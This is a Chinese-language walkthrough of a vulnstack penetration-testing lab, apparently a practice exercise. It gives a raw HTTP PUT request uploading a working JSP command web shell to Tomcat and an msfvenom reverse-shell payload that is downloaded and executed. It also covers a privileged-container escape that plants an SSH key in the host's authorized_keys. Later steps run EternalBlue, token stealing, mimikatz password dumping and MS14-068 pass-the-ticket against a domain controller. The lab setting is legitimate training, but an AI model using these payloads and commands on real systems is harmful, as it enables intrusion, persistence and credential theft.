环境配置
项目地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/6/
在 ubuntu 中启动 docker
cd /home/ubuntu/Desktop/vulhub/struts2/s2-045
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/
sudo docker-compose up -d
外网部分
s2-045 存在文件上传
天融信那个没有,k8的没反应,于是手动发包。
tomcat CVE-2017-12617
可以直接用 PUT 方法写入文件,msf 有脚本一键打(不过这个 shell 很难受)

于是手动发包传一个 jsp 上去
PUT /shell.jsp/ HTTP/1.1
Host: 192.168.157.132:2002
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: phpMyAdmin=33ae53ca410bc8c12a08b825b08a3b7f; pma_lang=zh_CN
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 750
<%@ page import="java.util.*,java.io.*,java.net.*"%>
<%
%>
<HTML><BODY>
<FORM METHOD="POST" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "\n<BR>");
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr); disr = dis.readLine(); }
}
%>
</pre>
</BODY></HTML>
phpMyAdmin文件包含

包含 sql 执行操作时生成 cookie 对应的 session 文件,即可达成任意文件写

拿下 web 服务器
弹一个到 msf 的马
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.157.131 LPORT=6666 -f elf > shell_6666.elf
python 起一个 http 服务器远程把马 down 下来后执行。(别忘了加执行权限)
两种思路:一个是用 CVE-2019-5736 直接打(复现失败了),另一个是用 –privileged 特权模式逃逸,这里说一下第二种。
判断是否在 docker 中
ls /.dockerenv
回显:/.dockerenv
判断是否是特权模式
cat /proc/self/status | grep CapEff
CapEff对应的掩码值应该为0000003fffffffff
查看磁盘文件并挂载
fdisk -l
mkdir /test
mount /dev/sda1 /test
本地生成私钥
ssh-keygen -f hack
chmod 600 hack
创建 key.sh 并上传
cp -avx /test/home/ubuntu/.ssh/id_rsa.pub /test/home/ubuntu/.ssh/authorized_keys
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHHyGclk2ax0r++36xUO8eHqMFEhAmCILoIJqO3R61Aua7f45BJMMKFNYZGKusPfldVXk2pf+XUU46VwQzxi5Kj2F0PTFMQZyOWoFPP0uXETb5LjrM2CBqz65hfSjeMLq4RblcawjadmjHQVFwXnxqpQ+PxLUOFhT45GTbGKqZFOFlS1FRDswxFr8NO8UXcT9+k1XD5ZrowfNr/FlC8NkgXA1h0a2KiD1N5PMvoF0Jb+B/z0kDGzjoNUAtsj+d31AyNius+xyoRsgPn8KQo3oVMAv/deshrxMWF18HzercJtY4PnzLvIjj9F77+em/tFDx/tMcCOJ8EgDm1eolghNmLEHhwyTfguSMLts69FpE8b85UVc07ontWRDGu12MeIsJI9t7CmMIDc2kLwmYcZSE9eXUgfmxkewNbEjTjvI2iiARDmSnCY2LD4LMiZewQtgF5g5QJF9CcfdThY1VY0jPPDtIYF5VxsZ/Ndm4m9o/EzwxXh0WYs/2+RacYgPH7K0= root@kali' > /test/home/ubuntu/.ssh/authorized_keys
cat /test/home/ubuntu/.ssh/authorized_keys
最后直接用 ssh 链接就可以了
ssh -i hack ubuntu@192.168.157.132

然后就可以为所欲为了
横向移动
先在 msf 中上线,添加 ew 代理

msf 中设置路由转发,并执行存活扫描
run autoroute -s 192.168.183.0/24
run autoroute -p
或 set proxies socks5:192.168.157.132:1080
存活主机:
use auxiliary/scanner/portscan/tcp
set rhosts 192.168.183.0-255
set threads 10
run
永恒之蓝一发入魂
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.183.129
set lport 4444
set AutoRunScript post/windows/manage/migrate // 自动迁移进程
run

开始攻击域控,这里直接拿到了 system,net user /domain 权限受限,选择切换到域用户中。
ps 找域用户的进程
steal_token 1560

先用 mimikatz 抓一下密码 (其实这里直接翻 ubuntu 的历史命令信息就能拿到密码)
rev2self 回到 system 权限
load kiwi
kiwi_cmd sekurlsa::logonpasswords

ms14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
然后用 mimikatz 传递票据
kerberos::purge 清除票据
kerberos::ptc TGT_douser@demo.com.ccache
然后查看一下域控的 c 盘,成功
dir \\WIN-ENS2VR5TR3N\c$